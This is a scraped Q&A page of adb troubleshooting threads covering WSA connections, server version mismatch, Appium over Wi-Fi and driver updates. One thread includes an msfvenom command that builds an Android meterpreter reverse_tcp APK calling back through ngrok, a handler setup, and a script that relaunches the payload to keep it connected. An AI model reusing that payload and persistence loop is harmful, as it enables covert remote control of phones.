adb cant connect to windows WSA - adb

I am trying to use adb to connect to my Android subsystem in windows (WSA). But when using
adb connect 172.23.178.142 (IP is correct)
This error occurs:

Related

adb server always restarts: adb server version (40) doesn't match this client (41)

I can't debug the application to the emulator because adb is unstable as shown in the log below, I tried to do the adb device command three times but the results are different, how do I fix it?
$ adb devices
List of devices attached
emulator-5554 device
$ adb devices
adb server version (40) doesn't match this client (41); killing...
daemon started successfully
List of devices attached
emulator-5554 offline
$ adb devices
List of devices attached
emulator-5554 device

Connect to ADB with ngrok and reverse tcp

I have an Android device at home that I use to develop on, and I'm connecting to it through my laptop with adb and scrcpy.
However, if I'm not home adb doesn't see the device. I made an apk for the device with msfvenom for reverse tcp like this:
msfvenom -p android/meterpreter/reverse_tcp LHOST=x.tcp.ngrok.io LPORT=(ngrok port) R > /home/user/reversetcp.apk
then I set up the reverse tcp handler in msfconsole:
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 127.0.0.1
msf6 exploit(multi/handler) > exploit
After this I install and run the apk on my device, then meterpreter opens the session;
[*] Meterpreter session 1 opened (127.0.0.1:25565 -> 127.0.0.1:40146) at 2023-01-07 21:39:43 +0100
and the ngrok console shows up 1 connection (my device). But if I try to add the ngrok server to adb like this:
adb connect "ngrok address"
(there I tried the ngrok tcp link, and 127.0.0.1 with both ports, none of them works) I get the following error: failed to connect to '127.0.0.1:25565': Connection refused I could make a vpn on my local network, but the power usually goes down, so the vpn is a dead end. what am I doing wrong? or adb can't connect with ngrok?
My second issue is, that meterpreter randomly closes the session after around 8 minutes, and if the device powers off and on or if the power goes out the device switches from wifi to mobile data, and I can't reconnect. How can I make the apk run on startup and reconnect if there is a change in the internet connection?
Update: I made an shell script to reopen the reverse tcp apk after 10 mins or if there is internet connection, but it would be better if the connection wouldn't close, and the device isn't rooted, so I can't add the script to the folder to run on startup. Another way to keep the reverse tcp connection would be better, to open an reverse tcp (and keep it open), and if there is change in the internet connection then reconnect automatically.
Btw, here is the script that i wrote:
#!/bin/sh
# check for internet connection
while ! ping -c 1 google.com &> /dev/null
do
# wait 20 seconds before trying again
sleep 20
done
# run the activity
am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
# run the activity every 10 minutes
while true
do
sleep 600
am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
done
I am convinced that it is not possible to connect a device using reverse meterpreter shell because ADB requires a raw TCP connection rather than meterpreter shell.
You can use the ZeroTier application to create a private network for your devices that can be accessible via the internet. It functions similarly to VPN, but traffic is routed directly rather than through a centralized VPN server.
This post describes how to connect adb using TCPIP in detail.

net::ERR_CONNECTION_REFUSED in ReactJS

I am getting this:
GET http://locaohost:3001/api/v1/restaurants/ net:: ERR_CONNECTION_REFUSED
when I load from another computer in the local network.
How can I overcome this issue? It only comes when I try to run the react app from the remote computer in the same network.
You should use the IP address instead of localhost like the following:
http://192.168.0.115:3001/api/v1/restaurants/
To find your IP address, in windows OS you should open CMD and run ipconfig command and in macOS, you should open Terminal and run ifconfig command

Appium server not detecting the device connected through wifi

did adb tcpip 5555 and adb connect ipaddress . The adb devices show the device. But when i run the appium server, its showing no android device connected.
The appium python code is
desired_caps = {}
desired_caps['platformName'] = 'Android'
desired_caps['deviceName'] = 'Android'
desired_caps['automationName'] = 'uiautomator2'
desired_caps['udid'] = 'xx.xx.xx.xx:5555'
desired_caps['platformVersion'] = '6.0.1'
desired_caps['appPackage'] = 'PackageName'
desired_caps['appActivity'] = 'activityName'
driver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps)
The appium server error is
[AndroidDriver] Retrieving device list
[debug] [ADB] Trying to find a connected android device
[debug] [ADB] Getting connected devices...
[debug] [ADB] 0 device(s) connected
[debug] [ADB] Could not find devices, restarting adb server...
[debug] [ADB] Restarting adb
[debug] [ADB] Killing adb server on port 5037
[debug] [ADB] Getting connected devices...
[debug] [ADB] 0 device(s) connected
found the reason why appium kept on killing the adb server and restarted it. found the solution here.
If adb server restart without root privilege, then appium Server can't connect to real device anymore.
Using sudo worked for me.
I had the same problem. the solution was,
set up adb path in system variable(~/sdk/platform-tools). as the ADB path from where I was connecting the device over wifi(adb connect xx.xx.xx.xx:5555) was different from the adb under ~/sdk/platform-tools.
use capability <i>capabilities.setCapability("suppressKillServer", true);</i> in code

how to update adb drivers for android phones?

I am having difficulties in my android application because i want to run my project in my android device. I tried to install some drivers for my phone but still, it can't update the drivers and my phone is not recognized even in adb devices. Please help. Thanks.
Run android update adb
Run adb kill-server
Run adb start-server
At this point, calling adb devices started returning devices again.
Now run or debug your project to test it on your device.
If you use Windows
If you don't have the android and adb set as windows environment variables, just go to
C:\Program Files\Android\sdk\platform-tools
(in explorer press Shift+RightClick in the white part and open command window) and use the following commands: ..\tools\android.bat update adb adb kill-server adb start-server
For android phones,
Turn on Developer mode on settings
For Oculus devices,
Open Oculus App in your android/ios device
Make sure the oculus device is connected via bluetooth
Goto Settings, Click on oculus device name
From Dropdown menu, click More Settings -> Developer Mode and turn it on
I was able to find ADB required version 1.0.40 from here and it works like a charm:
D:\Setups\XXXXX\Lineage FP3\platform-tools_28.0.1(ADB_1.0.40)>adb devices
List of devices attached
A2XXXXXXXXX1 unauthorized

Resources